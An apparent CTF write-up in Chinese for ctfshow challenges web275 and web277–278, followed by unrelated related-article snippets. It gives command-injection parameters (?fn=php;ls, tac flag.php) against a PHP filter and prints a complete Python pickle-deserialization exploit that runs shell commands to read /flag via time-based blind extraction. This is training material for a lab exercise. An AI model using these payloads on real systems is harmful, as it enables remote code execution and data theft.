ctfshow web入门 php反序列化 web275--web278(无web276)

server/2024/9/23 3:48:37/

web275

这道题和序列化一点关系都没有
整个代码并没有说filename(f)怎么传参只有fn并且屏蔽了flag

php">highlight_file(__FILE__);class filter{public $filename;public $filecontent;public $evilfile=false;public function __construct($f,$fn){$this->filename=$f;$this->filecontent=$fn;}public function checkevil(){if(preg_match('/php|\.\./i', $this->filename)){$this->evilfile=true;}if(preg_match('/flag/i', $this->filecontent)){$this->evilfile=true;}return $this->evilfile;}public function __destruct(){if($this->evilfile){system('rm '.$this->filename);}}
}if(isset($_GET['fn'])){$content = file_get_contents('php://input');$f = new filter($_GET['fn'],$content);if($f->checkevil()===false){file_put_contents($_GET['fn'], $content);copy($_GET['fn'],md5(mt_rand()).'.txt');unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);echo 'work done';}}else{echo 'where is flag?';
}
php">$content = file_get_contents('php://input')
$f = new filter($_GET['fn'],$content);
GET :
?fn=php;ls
?fn=php;tac flag.php

这里其实就可以理解为我传fn为文件名,文件内容$content就是输入流得到的内容就是;后面的内容,但是作者这里用了两个fn来混淆,filter的fn是文件内容,但是外面的这个fn是文件名

php">$this->filename=$f;
$this->filecontent=$fn;

web277–web278

python序列化,EXP

import requests
import time
import string
import pickle
import base64
result=""
str="_-{}"+string.ascii_letters+string.digits  #大小写字母和数字
url="http://e8eaffdd-233c-4c5d-82d0-79a89a515df3.challenge.ctf.show/backdoor?data="payload="__import__('os').popen('if [ `cat /flag|cut -c {0}` == {1} ];then sleep 3;fi').read()"class Rce():def __init__(self,payload):self.code=payloaddef __reduce__(self):# print(self.code)return (eval,(self.code,))length=50  #length长度
key=0
for j in range(1,length):if key==1:breakfor n in str:rser = bytes.decode(base64.b64encode(pickle.dumps(Rce(payload.format(j,n)))))target=url+rser# print(target)try:requests.get(target,timeout=(2.5,2.5))except:result=result+nprint(result)break# if n=='9':#     key=1

http://www.ppmy.cn/server/39543.html

相关文章

Hadoop集群部署

目录 准备 资源准备 实验架构 环境准备 实验步骤 (一)查看环境 1、检查防火墙是否关闭 2、检查三台虚拟机hosts文件 3、检查ssh环境 (二)部署hadoop集群 1、安装haoop 2、创建hdfs数据文件存储目录 3、修改配置文件 …

word转pdf的java实现(documents4j)

一、多余的话 java实现word转pdf可用的jar包不多,很多都是收费的。最近发现com.documents4j挺好用的,它支持在本机转换,也支持远程服务转换。但它依赖于微软的office。电脑需要安装office才能转换。鉴于没在linux中使用office,本…

给网站网页PHP页面设置密码访问代码

将MkEncrypt.php文件上传至你网站根目录下或者同级目录下。 MkEncrypt.php里面添加代码,再将调用代码添加到你需要加密的页进行调用 MkEncrypt(‘123456’);括号里面123456修改成你需要设置的密码。 密码正确才能进去页面,进入后会存下cookies值&…

linux_查看磁盘大小

查看硬盘的使用情况df,-h单元为根据大小适当显示,-m单位为M; adminubuntu-test:~$ df -h 文件系统 容量 已用 可用 已用% 挂载点 udev 7.8G 0 7.8G 0% /dev tmpfs 1.6G 3.6M 1.6G 1% /run /dev/…

安卓提示Cannot resolve symbol ‘BuildConfig‘

安卓提示Cannot resolve symbol BuildConfig build.gradle android {...defaultConfig {...versionName "1.1.2" // 这里设置版本号...}... }java代码使用 tv_version.setText(BuildConfig.VERSION_NAME) ; 提示错误 Cannot resolve symbol BuildConfig 解决办法 bu…

Java 集合-List

集合主要分为两组(单列集合, 双列集合) Connection 接口有两个重要的子接口LIst 和 Set, 它们的实现子类都是单列集合, Map 接口的实现子类是双列集合, 存放的是 K-V Connection 接口 Collection 接口和常用方法 下面以 ArrayList 演示一下 add: 添加单个元素remove: 删除指…

python,预测,微调,融合,强化学习,深度学习,机器学习程序,环境调试

python代做,预测,微调,融合,强化学习,深度学习,机器学习程序代写,环境调试,代码调通,模型优化,模型修改,时间序列,机器学习数据处理等…

Leetcode—1235. 规划兼职工作【困难】(upper_bound、自定义排序规则)

2024每日刷题&#xff08;125&#xff09; Leetcode—1235. 规划兼职工作 算法思想 实现代码 class Solution { public:int jobScheduling(vector<int>& startTime, vector<int>& endTime, vector<int>& profit) {int n startTime.size();vec…